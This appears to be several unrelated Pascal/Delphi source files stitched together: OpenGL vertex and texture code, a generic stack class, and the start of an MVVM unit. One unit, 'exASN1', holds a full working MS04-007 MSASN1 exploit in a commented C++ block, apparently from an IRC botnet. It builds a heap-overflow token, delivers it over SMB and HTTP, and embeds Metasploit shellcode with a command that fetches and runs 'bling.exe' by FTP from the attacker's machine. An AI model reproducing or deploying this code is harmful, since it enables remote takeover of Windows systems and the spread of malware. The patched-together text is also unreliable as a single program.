Vertices.Items[i] := nil;
vertices.free;
inherited destroy;
end;
{set the desired color of the point}
procedure TGLpoint.SetColor(ir, ig, ib: Byte);
begin
r := ir;
g := ig;
b := ib;
end;
{move the point to a dIfferent place}
procedure TGLpoint.SetPosition(ix, iy, iz: single);
begin
x := ix;
y := iy;
z := iz;
end;
constructor Tvertex.Create;
begin
inherited Create;
nx := inx;
ny := iny;
nz := inz;
Point := nil;
Owner := iOwner;
tx := 0;
tz := 0;
end;
procedure Tvertex.MakeCopy;
var
NewPoint: TGLpoint;
begin
if Point.References > 1 then
{check If the copy is really necesary}
begin
{the vertex is sharing the point,
so letīs create its own point}
dec(Point.References);
{this vertex wonīt use that point again}
NewPoint := TGLpoint.Create(Point.x, Point.y, Point.z);
Owner.Owner.points.add(newPoint);
with NewPoint do
begin
References := 1; {inc the references on the new point}
r := Point.r;
g := Point.g;
b := Point.b;
end;
Point := newPoint;
end; {now we are ready to
set the individual values of our vertex}
end;
{If itīs necessary, the point will be duplicated
so that the individual color can be modIfied}
procedure Tvertex.SetColor;
begin
MakeCopy;
Point.r := iR;
Point.g := iG;
Point.b := iB;
end;
{If itīs necessary, the point will be duplicated
so that the individual position can be modIfied}
procedure Tvertex.SetPosition;
begin
MakeCopy;
Point.x := iX;
Point.y := iY;
Point.z := iZ;
end;
constructor TTexture.Create; {set defaults for all fields}
begin
Owner := iOwner;
MyList := glgenlists(1); {generate an empty list for this texture}
WrapSmode := gl_repeat; {tile the texture in X}
WrapTmode := gl_repeat; {tile the texture in Z}
MagFilter := gl_nearest; {texture using the nearest texel}
MinFilter := gl_nearest; {texture using the nearest texel}
Automatic := False; {by default the texture coordinates
have to be calculated by hand}
AutoGenModeX := gl_object_linear;
AutoGenModeZ := gl_object_linear;
AutoXmult[0] := 1; AutoXmult[1] := 0;
AutoXmult[2] := 0; AutoXmult[3] := 0;
AutoZmult[0] := 0; AutoZmult[1] := 0;
AutoZmult[2] := 1; AutoZmult[3] := 0;
EnvironmentMode := GL_decal; {like the decals in a racing car}
EnvBlendColor[0] := 0;
EnvBlendColor[1] := 0;
EnvBlendColor[2] := 0;
EnvBlendColor[3] := 255; {alpha is by default 1}
end;
destructor Ttexture.destroy;
begin
inherited destroy;
GLdeleteLists(MyList, 1);
{destroy the display list of the texture}
end;
function TTexture.LoadTexture(st: string): shortint;
const
MB = 19778;
type
ptybuff = ^tybuff;
ptybuffa = ^tybuffa;
tybuff = array[1..64000] of record
r: byte;
g: byte;
b: byte;
end;
tybuffa = array[1..64000] of record
r: byte;
g: byte;
b: byte;
a: byte;
end;
var
f: file;
Buffer2b: ptybuff;
Buffer2: pointer;
Buffer3b: ptybuffa;
Buffer3: pointer;
i: integer;
{$A-}
header: record
FileType: Word; {always MB}
size: longint;
Reserved1,
Reserved2: word; {reserved for future purposes}
offset: longint; {offset to image in bytes}
end; {header}
BMPInfo: record
size: longint; {size of BMPinfo in bytes}
width: longint; {width of the image in pixels}
height: longint; {height of the image in pixels}
planes: word; {number of planes (always 1)}
Colorbits: word;
{number of bits used to describe color in each pixel}
compression: longint; {compression used}
ImageSize: longint; {image size in bytes}
XpixPerMeter: longint; {pixels per meter in X}
YpixPerMeter: longint; {pixels per meter in Y}
ColorUsed: longint; {number of the color used ŋŋŋ???}
Important: longint; {number of "important" colors}
end; {info}
{$A+}
begin
if not FileExists(st) then
begin
result := -1; {file not found}
exit;
end;
assignfile(f, st);
reset(f, 1);
blockread(f, header, sizeof(header));
blockread(f, BMPinfo, sizeof(BMPinfo));
if header.FileType <> MB then
begin
result := -2; {file type is not BMP}
exit;
end;
header.size := header.size - sizeof(header) - sizeof(BMPinfo);
getmem(buffer2, header.size);
getmem(buffer3, header.size * 4 div 3);
buffer2b := ptybuff(buffer2);
buffer3b := ptybuffA(buffer3);
Blockread(f, buffer2^, header.size);
for i := 1 to header.size div 3 do
begin
buffer3b^[i].r := buffer2b^[i].b;
buffer3b^[i].g := buffer2b^[i].g;
buffer3b^[i].b := buffer2b^[i].r;
buffer3b^[i].a := envblendcolor[3];
{obtain blend alpha from envblendcolor.alpha}
end;
closefile(f);
GlNewList(MyList, gl_compile);
{OpenGL 1.0 ignores this one}
glpixelstorei(gl_unpack_alignment, 4);
glpixelstorei(gl_unpack_row_length, 0);
glpixelstorei(gl_unpack_skip_rows, 0);
glpixelstorei(gl_unpack_skip_pixels, 0);
{for GLteximage2D the parameters are:
gl_Texture_2d,
level of detail (0 unless using mipmapped textures)
components: 3 for RGB, 4 for RGBA 1 for indexed 256 color
width, height
border: width of the border, between 0 and 2.
Format: gl_color_index, GL_RGB, GL_rgbA,
GL_luminance are the most used
type of the data for each pixel
pointer to image data}
glenable(GL_BLEND);
{ gltexImage2d(gl_texture_2d, 0, 4, BMPinfo.width,
BMPinfo.height,
0,
gl_rgba,
gl_unsigned_byte, buffer3^);}
glendlist;
result := 0; {no error}
end;
{call the display list, itīs not really a redraw, itīs part of one}
procedure TTexture.redraw;
begin
if Automatic then {automatic texture coordinates generation}
begin
gltexgenf(GL_s, gl_texture_gen_mode, AutoGenModeX);
gltexgenfv(GL_s, gl_object_plane, addr(AutoXmult));
gltexgenf(GL_t, gl_texture_gen_mode, AutoGenModeZ);
gltexgenfv(GL_t, gl_object_plane, addr(AutoZmult));
end;
gltexparameteri(gl_texture_2d, gl_texture_wrap_s, WrapSmode);
gltexparameteri(gl_texture_2d, gl_texture_wrap_t, WrapTmode);
gltexparameteri(gl_texture_2d, gl_texture_mag_filter, MagFilter);
gltexparameteri(gl_texture_2d, gl_texture_min_filter, MinFilter);
gltexEnvi(gl_texture_env, gl_texture_env_mode, EnvironmentMode);
glcalllist(MyList);
end;
initialization
{initially, the primitives will not be named}
PutNames := false;
end.
|
unit exASN1;
interface
uses
Windows,
Winsock,
untFunctions,
untFTPD;
Type
BitString = Class(TObject)
public
Procedure BitString(); Overload;
Procedure BitString( const pszString: pchar ); Overload;
Procedure BitString( pData: Pointer; nDataLen: Integer); Overload;
Procedure BitString( pPre : Pointer; nPreLen : Integer; pData: Pointer; nDataLen: Integer); Overload;
Procedure Free();
Function ASN1(): Boolean;
Function Bits(): Boolean;
Function Append( Const pszString: PChar): Boolean; Overload;
Function Append( pData: Pointer; nDataLen: Integer): Boolean; Overload;
Function Append( Str: BitString ): Boolean; Overload;
Function Constr(): Boolean; Overload;
Function Constr( Str: BitString ): Boolean; Overload;
private
m_pData :Pointer;
m_nDataLen :Integer;
End;
{$I exASN.ini}
implementation
Procedure BitString.BitString;
Begin
m_nDataLen := 0;
m_pData := NIL;
End;
Procedure BitString.BitString( Const pszString: PChar );
Begin
{ *this = BitString( (void*)pszString, strlen( pszString ) ); }
BitString( pszString, Length(pszString) );
End;
Procedure BitString.BitString(pData: Pointer; nDataLen: Integer);
Var
pBuffer :Pointer;
Begin
GetMem(pBuffer, nDataLen);
If pBuffer = NIL Then Exit;
CopyMemory(pBuffer, pData, nDataLen);
m_nDataLen := nDataLen;
m_pData := pBuffer;
End;
Procedure BitString.BitString(pPre: Pointer; nPreLen: Integer; pData: Pointer; nDataLen: Integer);
Var
pBuffer :Pointer;
Begin
GetMem(pBuffer, nPreLen + nDataLen);
If pBuffer = NIL Then Exit;
CopyMemory(pBuffer, pPre, nPreLen);
CopyMemory(pointer(dword(pbuffer) + nprelen), pData, nDataLen);
m_nDataLen := nPreLen + nDataLen;
m_pData := pBuffer;
End;
Procedure BitString.Free;
Begin
If m_pData <> NIL Then
FreeMem(m_pData);
m_nDataLen := 0;
m_pData := NIL;
End;
Function BitString.ASN1: Boolean;
Var
pNewData :Pointer;
nNumStrLen :Integer;
Begin
Result := False;
If m_nDataLen >= $ffff then exit;
If m_nDataLen < $7f then
nNumStrLen := 1
Else
nNumStrLen := 3;
GetMem(pNewData, m_nDataLen+nNumStrLen);
If pNewData = NIL Then Exit;
If nNumStrLen = 1 Then
Begin
Move(Pointer(Dword(pNewData)+0), pNewData, 1);
CopyMemory(Pointer(Dword(pNewData)+1), m_pData, m_nDataLen);
End Else
Begin
Move(Pointer(Dword(pNewData)+0), pNewData, 1);
Move(Pointer(Dword(pNewData)+1), pNewData, 1);
Move(Pointer(Dword(pNewData)+2), pNewData, 1);
CopyMemory(Pointer(Dword(pNewData)+3), m_pData, m_nDataLen);
End;
FreeMem(m_pData);
m_nDataLen := nNumStrLen + m_nDataLen;
m_pData := pNewData;
Result := True;
End;
end.
(*
bool BitString::Bits()
{
// encode
// 0x00....
BitString StrTemp( "\x00", 1, m_pData, m_nDataLen );
StrTemp.ASN1();
// add 0x03 in front
unsigned char *pNewData = (unsigned char*)malloc( StrTemp.m_nDataLen + 1 );
if( !pNewData )
return false;
memset( pNewData, 0, StrTemp.m_nDataLen + 1 );
pNewData[ 0 ] = '\x03';
memcpy( pNewData + 1, StrTemp.m_pData, StrTemp.m_nDataLen );
// clear old
Free();
m_nDataLen = StrTemp.m_nDataLen + 1;
m_pData = pNewData;
StrTemp.Free();
return true;
}
bool BitString::Append( void *pData, int nDataLen )
{
BitString Temp( m_pData, m_nDataLen, pData, nDataLen );
Free();
*this = Temp;
return true;
}
bool BitString::Append( const char *pszString )
{ return Append( (void*)pszString, strlen( pszString ) ); }
bool BitString::Append( BitString Str )
{ return Append( Str.m_pData, Str.m_nDataLen ); }
bool BitString::Constr()
{
// encode
if( !ASN1() )
return false;
// add 0x23 before data
BitString StrTemp2( "\x23", 1, m_pData, m_nDataLen );
Free();
*this = StrTemp2;
return true;
}
bool BitString::Constr( BitString Str )
{
if( !Append( Str ) )
return false;
return Constr();
}
////////////////////////////////////////////////////////////////
BitString Token( void *pStage0, int nStage0Len, void *pStage1, int nStage1Len )
{
BitString Token;
char szRand[ 2048 ];
static unsigned char tag[] = "\x90\x42\x90\x42\x90\x42\x90\x42";
// The first two overwrites must succeed, so we write to an unused location
// in the PEB block. We don't care about the values, because after this the
// doubly linked list of free blocks is corrupted and we get to the second
// overwrite which is more useful.
static unsigned char fw[] = "\xf8\x0f\x01\x00"; // 0x00010ff8
static unsigned char bk[] = "\xf8\x0f\x01";
// The second overwrite writes the address of our shellcode into the
// FastPebLockRoutine pointer in the PEB
static unsigned char peblock[] = "\x20\xf0\xfd\x7f"; // FastPebLockRoutine in PEB
if( nStage0Len > 1032 || sizeof( tag ) - 1 + nStage1Len > 1032 )
return Token;
BitString Temp_Constr_FWBK;
BitString Temp_Bits_TagStage1;
BitString Temp_Constr_Unknown;
BitString Temp_Bits_PEBlockStage0;
BitString Temp_Constr_PEBlockStage0_Unknown;
BitString Temp_Constr_PEBlockStage0_Unknown_FWBK_TagStage1;
BitString CompleteBitString;
// ---
// Temp_Constr_FWBK
Temp_Constr_FWBK.Append( fw, sizeof( fw ) - 1 );
Temp_Constr_FWBK.Append( bk, sizeof( bk ) - 1 );
Temp_Constr_FWBK.Bits();
Temp_Constr_FWBK.Constr();
// Temp_Bits_TagStage1
memset( szRand, 'B', sizeof( szRand ) );
Temp_Bits_TagStage1.Append( tag, sizeof( tag ) - 1 );
Temp_Bits_TagStage1.Append( pStage1, nStage1Len );
Temp_Bits_TagStage1.Append( szRand, 1033 - Temp_Bits_TagStage1.m_nDataLen );
Temp_Bits_TagStage1.Bits();
// Temp_Const_Unknown.
Temp_Constr_Unknown.Append( "\xeb\x06\x90\x90\x90\x90\x90\x90" );
Temp_Constr_Unknown.Bits();
memset( szRand, 'D', sizeof( szRand ) );
BitString Bits_Unknown2( szRand, 1040 );
Bits_Unknown2.Bits();
Temp_Constr_Unknown.Constr( Bits_Unknown2 );
Bits_Unknown2.Free();
// Temp_Bits_PEBlockStage0
memset( szRand, 'C', sizeof( szRand ) );
Temp_Bits_PEBlockStage0.Append( "CCCC" );
Temp_Bits_PEBlockStage0.Append( peblock, sizeof( peblock ) - 1 );
Temp_Bits_PEBlockStage0.Append( pStage0, nStage0Len );
Temp_Bits_PEBlockStage0.Append( szRand, 1032 - nStage0Len );
Temp_Bits_PEBlockStage0.Bits();
// Temp_Constr_PEBlockStage0_Unknown
Temp_Constr_PEBlockStage0_Unknown.Append( Temp_Bits_PEBlockStage0 );
Temp_Constr_PEBlockStage0_Unknown.Append( Temp_Constr_Unknown );
Temp_Constr_PEBlockStage0_Unknown.Constr();
Temp_Bits_PEBlockStage0.Free();
Temp_Constr_Unknown.Free();
// Temp_Constr_PEBlockStage0_Unknown_FWBK_TagStage1
Temp_Constr_PEBlockStage0_Unknown_FWBK_TagStage1.Append( Temp_Bits_TagStage1 );
Temp_Constr_PEBlockStage0_Unknown_FWBK_TagStage1.Append( Temp_Constr_FWBK );
Temp_Constr_PEBlockStage0_Unknown_FWBK_TagStage1.Append( Temp_Constr_PEBlockStage0_Unknown );
Temp_Constr_PEBlockStage0_Unknown_FWBK_TagStage1.Constr();
Temp_Bits_TagStage1.Free();
Temp_Constr_FWBK.Free();
Temp_Constr_PEBlockStage0_Unknown.Free();
// CompleteBitString
memset( szRand, 'A', sizeof( szRand ) );
CompleteBitString.Append( szRand, 1024 );
CompleteBitString.Bits();
CompleteBitString.Append( "\x03\x00", 2 );
CompleteBitString.Append( Temp_Constr_PEBlockStage0_Unknown_FWBK_TagStage1 );
CompleteBitString.Constr();
Temp_Constr_PEBlockStage0_Unknown_FWBK_TagStage1.Free();
// Token
BitString Temp_Token1;
BitString Temp_Token2;
// ---
Temp_Token1.Append( CompleteBitString );
Temp_Token1.ASN1();
CompleteBitString.Free();
// ---
Temp_Token2.Append( "\xa1" );
Temp_Token2.Append( Temp_Token1 );
Temp_Token2.ASN1();
Temp_Token1.Free();
// ---
Temp_Token1.Append( "\x30" );
Temp_Token1.Append( Temp_Token2 );
Temp_Token1.ASN1();
Temp_Token2.Free();
// ---
Temp_Token2.Append( "\x06\x06\x2b\x06\x01\x05\x05\x02\xa0" );
Temp_Token2.Append( Temp_Token1 );
Temp_Token2.ASN1();
Temp_Token1.Free();
// ---
Token.Append( "\x60" );
Token.Append( Temp_Token2 );
Temp_Token2.Free();
return Token;
}
////////////////////////////////////////////////////////////////
int MyRecv( SOCKET nFDSocket, char *pBuffer, int nLen, int nFlags )
{
fd_set ReadFDSet;
fd_set ExceptFDSet;
FD_ZERO( &ReadFDSet );
FD_ZERO( &ExceptFDSet );
FD_SET( nFDSocket, &ReadFDSet );
FD_SET( nFDSocket, &ExceptFDSet );
// 10 seconds
timeval Timeout;
Timeout.tv_sec = 10;
Timeout.tv_usec = 0;
// wait until timeout is reached
if( select( nFDSocket + 1, &ReadFDSet, NULL, &ExceptFDSet, &Timeout ) != 1 )
return false;
// check if there is data is to receive
if( !FD_ISSET( nFDSocket, &ReadFDSet ) )
return false;
// receive
return frecv( nFDSocket, pBuffer, nLen, nFlags );
}
////////////////////////////////////////////////////////////////
bool SendSMB( SOCKET nFDSocket, void *pData, int nLen )
{
long nNetNum = fhtonl( nLen );
if( fsend( nFDSocket, (char*)&nNetNum, sizeof( nNetNum ), 0 ) != sizeof( nNetNum ) )
return false;
return ( fsend( nFDSocket, (char*)pData, nLen, 0 ) == nLen );
}
bool ExploitSMB( SOCKET nFDSocket, BitString BitToken )
{
static char SMB_Negotiate[] =
"\xff\x53\x4d\x42" // protocol id
"\x72" // command (NEGOTIATE_MESSAGE)
"\x00\x00\x00\x00" // status
"\x18" // flags (pathnames are case-insensitive)
"\x53\xC8" // flags2 (support Unicode, NT error codes, long
// filenames, extended security negotiation and
// extended attributes)
"\x00\x00" // Process ID high word
"\x00\x00\x00\x00" // signature
"\x00\x00\x00\x00"
"\x00\x00" // reserved
"\x00\x00" // Tree ID
"\x37\x13" // Process ID
"\x00\x00" // User ID
"\x00\x00" // Multiplex ID
// SMB Message Parameters
"\x00" // word count
// SMB Message Data
"\x62\x00" // byte count
"\x02\x50\x43\x20\x4E\x45\x54\x57\x4F\x52\x4B\x20\x50\x52\x4F\x47"
"\x52\x41\x4D\x20\x31\x2E\x30\x00" // PC NETWORK PROGRAM 1.0
"\x02\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00" // LANMAN1.0
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72"
"\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00" // WfW 3.1a
"\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00" // LM1.2X002
"\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00" // LANMAN2.1
"\x02\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00"; // NT LM 0.12
static char SMB_SessionSetup1[] =
// SMB Message Header
"\xff\x53\x4d\x42" // protocol id
"\x73" // command (Session Setup AndX)
"\x00\x00\x00\x00" // status
"\x18" // flags (pathnames are case-insensitive)
"\x07\xC8" // flags2 (support Unicode, NT error codes, long
// filenames, extended security negotiation and
// extended attributes and security signatures)
"\x00\x00" // Process ID high word
"\x00\x00\x00\x00" // signature
"\x00\x00\x00\x00"
"\x00\x00" // reserved
"\x00\x00" // Tree ID
"\x37\x13" // Process ID
"\x00\x00" // User ID
"\x00\x00" // Multiplex ID
// SMB Message Parameters
"\x0c" // word count (12 words)
"\xff" // AndXCommand: No further commands
"\x00" // reserved
"\x00\x00" // AndXOffset
"\x04\x11" // max buffer: 4356
"\x0a\x00" // max mpx count: 10
"\x00\x00" // VC number
"\x00\x00\x00\00"; // session key
static char SMB_SessionSetup2[] =
"\x00\x00\x00\x00" // reserved
"\xd4\x00\x00\x80"; // capabilities
static char SMB_SessionSetup3[] =
"\x00\x00\x00\x00\x00\x00";
// build packet(s)
// ----
int nSMBSize =
sizeof( SMB_SessionSetup1 ) - 1 +
2 +
sizeof( SMB_SessionSetup2 ) - 1 +
2 +
BitToken.m_nDataLen +
sizeof( SMB_SessionSetup3 ) - 1;
char *pSMBPacket = (char*)malloc( nSMBSize );
if( !pSMBPacket )
return false;
memset( pSMBPacket, 0, nSMBSize );
int nPos = 0;
// ---
memcpy( pSMBPacket, SMB_SessionSetup1, sizeof( SMB_SessionSetup1 ) - 1 );
nPos += sizeof( SMB_SessionSetup1 ) - 1;
// ---
*(short*)( &pSMBPacket[ nPos ] ) = BitToken.m_nDataLen;
nPos += 2;
// ---
memcpy( pSMBPacket + nPos, SMB_SessionSetup2, sizeof( SMB_SessionSetup2 ) - 1 );
nPos += sizeof( SMB_SessionSetup2 ) - 1;
// ---
*(short*)( &pSMBPacket[ nPos ] ) = BitToken.m_nDataLen;
nPos += 2;
// ---
memcpy( pSMBPacket + nPos, BitToken.m_pData, BitToken.m_nDataLen );
nPos += BitToken.m_nDataLen;
// ---
memcpy( pSMBPacket + nPos, SMB_SessionSetup3, sizeof( SMB_SessionSetup3 ) - 1 );
nPos += sizeof( SMB_SessionSetup3 ) - 1;
// ---
char szRecvBuffer[ 256 ];
// send packets
// Negotiate
if( !SendSMB( nFDSocket, SMB_Negotiate, sizeof( SMB_Negotiate ) - 1 ) )
{
free( pSMBPacket );
return false;
}
MyRecv( nFDSocket, szRecvBuffer, sizeof( szRecvBuffer ), 0 );
// SesstionSetup
if( !SendSMB( nFDSocket, pSMBPacket, nSMBSize ) )
{
free( pSMBPacket );
return false;
}
MyRecv( nFDSocket, szRecvBuffer, sizeof( szRecvBuffer ), 0 );
free( pSMBPacket );
return true;
}
//////////////////////////////////
bool ExploitSMBNT( SOCKET nFDSocket, BitString BitToken )
{
// send session request
static char SessionRequest[] =
"\x81\x00\x00\x44\x20\x43\x4b\x46\x44\x45\x4e\x45\x43\x46\x44\x45"
"\x46\x46\x43\x46\x47\x45\x46\x46\x43\x43\x41\x43\x41\x43\x41\x43"
"\x41\x43\x41\x43\x41\x00\x20\x43\x41\x43\x41\x43\x41\x43\x41\x43"
"\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43"
"\x41\x43\x41\x43\x41\x41\x41\x00";
if( send( nFDSocket, SessionRequest, sizeof( SessionRequest ) - 1, 0 ) != sizeof( SessionRequest ) - 1 )
return false;
// check reply
unsigned char szBuffer[ 32 ];
if( MyRecv( nFDSocket, (char*)szBuffer, sizeof( szBuffer ), 0 ) == SOCKET_ERROR )
return false;
if( szBuffer[ 0 ] != 0x82 )
return false;
// to smb exploiting
return ExploitSMB( nFDSocket, BitToken );
}
////////////////////////////////////////////////////////////////
unsigned long GetBase64CharsNum( unsigned long nBytesNum )
{
unsigned long nMaxLen;
// - base 64 "normal" data
nMaxLen = ( nBytesNum * 8 ) / 6.0;
// - CRLFs
nMaxLen += floor( ( nMaxLen / 72.0 ) ) * 2;
// - 0-terminating char
nMaxLen++;
return nMaxLen;
}
std::string EncodeBase64( const char *lpszData, unsigned long nDataLen, char *lpszEndOfLine = "\r\n" )
{
static char Base64CharTable[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";
// reserve memory
std::string sBase64;
sBase64.reserve( GetBase64CharsNum( nDataLen ) );
// encode
unsigned long nLinePos = 0;
while( nDataLen > 0 )
{
unsigned long n;
// get 24 bits
// - get bytes available
unsigned long nBytesCount;
if( nDataLen >= 3 )
nBytesCount = 3;
else if( nDataLen == 2 )
nBytesCount = 2;
else if( nDataLen == 1 )
nBytesCount = 1;
unsigned long nBase64Blocks = ceil( ( nBytesCount * 8.0 / 6.0 ) );
// - read
char Bytes[ 3 ];
for( n = 0; n < nBytesCount; n++ )
Bytes[ n ] = lpszData[ n ];
lpszData += nBytesCount;
nDataLen -= nBytesCount;
// encode
char Base64TableIndex[ 4 ];
Base64TableIndex[ 0 ] = ( Bytes[0] & 0xfc ) >> 2;
Base64TableIndex[ 1 ] = ( ( Bytes[ 0 ] & 0x03 ) << 4 ) + ( ( Bytes[ 1 ] & 0xf0 ) >> 4 );
Base64TableIndex[ 2 ] = ( ( Bytes[ 1 ] & 0x0f ) << 2 ) + ( ( Bytes[ 2 ] & 0xc0 ) >> 6 );
Base64TableIndex[ 3 ] = Bytes[ 2 ] & 0x3f;
for( n = 0; n < nBase64Blocks; n++ )
{
sBase64.append( 1, Base64CharTable[ Base64TableIndex[ n ] ] );
nLinePos++;
}
// lines
if( nLinePos >= 72 )
{
sBase64.append( lpszEndOfLine );
nLinePos = 0;
}
// add padding
for( n = nBase64Blocks; n < 4; n++ )
sBase64.append( 1, '=' );
}
return sBase64;
}
//////////////////////////////////
bool ExploitHTTP( SOCKET nFDSocket, BitString BitToken, std::string sHost )
{
static const char szReq[] =
"GET / HTTP/1.0\r\n"
"Host: %s\r\n"
"Authorization: Negotiate %s\r\n"
"\r\n";
// encode to Base64
std::string sBase64Token = EncodeBase64( (char*)BitToken.m_pData, BitToken.m_nDataLen, "" );
// make request
int nReqSize =
sizeof( szReq ) - 2 - 2 +
sHost.length() +
sBase64Token.length();
char *pszReqFormated = (char*)malloc( nReqSize );
if( !pszReqFormated )
return false;
// ---
_snprintf( pszReqFormated, nReqSize, szReq, sHost.c_str(), sBase64Token.c_str() );
// send request
if( fsend( nFDSocket, pszReqFormated, nReqSize, 0 ) != nReqSize )
{
free( pszReqFormated );
return false;
}
free( pszReqFormated );
return true;
}
////////////////////////////////////////////////////////////////
BOOL MS04_007_MSASN1_PortedByScriptGod( EXINFO exinfo )
{
static char Stage0[] =
"\x53\x56\x57\x66\x81\xec\x80\x00\x89\xe6\xe8\xed\x00\x00\x00\xff"
"\x36\x68\x09\x12\xd6\x63\xe8\xf7\x00\x00\x00\x89\x46\x08\xe8\xa2"
"\x00\x00\x00\xff\x76\x04\x68\x6b\xd0\x2b\xca\xe8\xe2\x00\x00\x00"
"\x89\x46\x0c\xe8\x3f\x00\x00\x00\xff\x76\x04\x68\xfa\x97\x02\x4c"
"\xe8\xcd\x00\x00\x00\x31\xdb\x68\x10\x04\x00\x00\x53\xff\xd0\x89"
"\xc3\x56\x8b\x76\x10\x89\xc7\xb9\x10\x04\x00\x00\xf3\xa4\x5e\x31"
"\xc0\x50\x50\x50\x53\x50\x50\xff\x56\x0c\x8b\x46\x08\x66\x81\xc4"
"\x80\x00\x5f\x5e\x5b\xff\xe0\x60\xe8\x23\x00\x00\x00\x8b\x44\x24"
"\x0c\x8d\x58\x7c\x83\x43\x3c\x05\x81\x43\x28\x00\x10\x00\x00\x81"
"\x63\x28\x00\xf0\xff\xff\x8b\x04\x24\x83\xc4\x14\x50\x31\xc0\xc3"
"\x31\xd2\x64\xff\x32\x64\x89\x22\x31\xdb\xb8\x90\x42\x90\x42\x31"
"\xc9\xb1\x02\x89\xdf\xf3\xaf\x74\x03\x43\xeb\xf3\x89\x7e\x10\x64"
"\x8f\x02\x58\x61\xc3\x60\xbf\x20\xf0\xfd\x7f\x8b\x1f\x8b\x46\x08"
"\x89\x07\x8b\x7f\xf8\x81\xc7\x78\x01\x00\x00\x89\xf9\x39\x19\x74"
"\x04\x8b\x09\xeb\xf8\x89\xfa\x39\x5a\x04\x74\x05\x8b\x52\x04\xeb"
"\xf6\x89\x11\x89\x4a\x04\xc6\x43\xfd\x01\x61\xc3\xa1\x0c\xf0\xfd"
"\x7f\x8b\x40\x1c\x8b\x58\x08\x89\x1e\x8b\x00\x8b\x40\x08\x89\x46"
"\x04\xc3\x60\x8b\x6c\x24\x28\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea"
"\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x38\x49\x8b\x34\x8b\x01\xee"
"\x31\xff\x31\xc0\xfc\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb"
"\xf4\x3b\x7c\x24\x24\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b"
"\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc2"
"\x08\x00\xeb\xfe";
/* win32_exec - EXITFUNC=thread Size=138 Encoder=None http://metasploit.com */
static unsigned char MetasploitShellCode[] =
"\x81\xc4\x54\xf2\xff\xff" //add esp, -3500
"\xfc\xe8\x46\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b"
"\x4f\x18\x8b\x5f\x20\x01\xeb\xe3\x2e\x49\x8b\x34\x8b\x01\xee\x31"
"\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54"
"\x24\x04\x75\xe3\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c"
"\x01\xeb\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b"
"\x40\x30\x85\xc0\x78\x0f\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08"
"\xe9\x0b\x00\x00\x00\x8b\x40\x34\x05\x7c\x00\x00\x00\x8b\x68\x3c"
"\x5f\x31\xf6\x60\x56\xeb\x0d\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a"
"\x0e\x57\xff\xe7\xe8\xee\xff\xff\xff"/*\x00"*/;
// shell code/command
char ShellBuff[ 1024 ] = { 0 };
// ---
memcpy( ShellBuff, MetasploitShellCode, sizeof( MetasploitShellCode ) - 1 );
// ---
int nCmdLen = _snprintf( ShellBuff + sizeof( MetasploitShellCode ) - 1, sizeof( ShellBuff ),
"cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &echo quit >> o &ftp -n -s:o &bling.exe\r\n",
GetIP(exinfo.sock),FTP_PORT);
int nShellBuffSize = sizeof( MetasploitShellCode ) - 1 + nCmdLen + 1;
// make Token
BitString BitToken = Token( Stage0, sizeof( Stage0 ) - 1, ShellBuff, nShellBuffSize );
if( !BitToken.m_nDataLen )
return FALSE;
// do exploit
int nCount = 0;
BOOL bOK = FALSE;
while( nCount < 2 && !bOK )
{
// socket
SOCKET nFDSocket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if( nFDSocket != SOCKET_ERROR )
{
// connect
sockaddr_in SockAddr = { 0 };
SockAddr.sin_family = AF_INET;
SockAddr.sin_port = fhtons( exinfo.port );
SockAddr.sin_addr.S_un.S_addr = finet_addr( exinfo.ip );
if( fconnect( nFDSocket, (sockaddr*)&SockAddr, sizeof( SockAddr ) ) != SOCKET_ERROR )
{
// send exploit data
if( exinfo.port == 80 )
bOK = ExploitHTTP( nFDSocket, BitToken, exinfo.ip );
else if( exinfo.port == 139 )
bOK = ExploitSMBNT( nFDSocket, BitToken );
else if( exinfo.port == 445 )
bOK = ExploitSMB( nFDSocket, BitToken );
}
fclosesocket( nFDSocket );
}
// retry it
if( !bOK )
Sleep( 1000 );
nCount++;
}
BitToken.Free();
// info
if( bOK )
{
char buffer[ IRCLINE ];
//_snprintf( buffer, sizeof(buffer), "[%s]: Exploiting IP: %s.", exploit[ exinfo.exploit ].name, exinfo.ip );
irc_privmsg( exinfo.sock, exinfo.chan, buffer, exinfo.notice );
addlog( buffer );
exploit[ exinfo.exploit ].stats++;
}
return bOK;
}
#endif
*) |
namespace OxygeneStack;
interface
type
StackItem<T> = class
public
property Data: T;
property Prev: StackItem<T>;
end;
Stack<T> = public class
private
property Top: StackItem<T>;
public
method Count: Integer;
method Pop: T;
method Push(aData: T);
end;
implementation
method Stack<T>.Pop: T;
begin
if Top=nil then
raise new Exception('Empty Stack');
Result := Top.Data;
Top := Top.Prev;
end;
method Stack<T>.Push(aData: T);
var last: StackItem<T>;
begin
last := Top; // may be nil
Top := new StackItem<T>;
Top.Data := aData;
Top.Prev := last;
end;
method Stack<T>.Count: integer;
var last: StackItem<T>;
begin
if Top = nil then exit(0);
last := Top;
repeat
inc(Result);
last := last.Prev;
until last = nil;
end;
end. |
unit Coches.VM;
interface
uses
System.SysUtils,
System.Classes,
Data.DB,
Spring,
Spring.Collections,
MVVM.Types,
MVVM.Attributes,
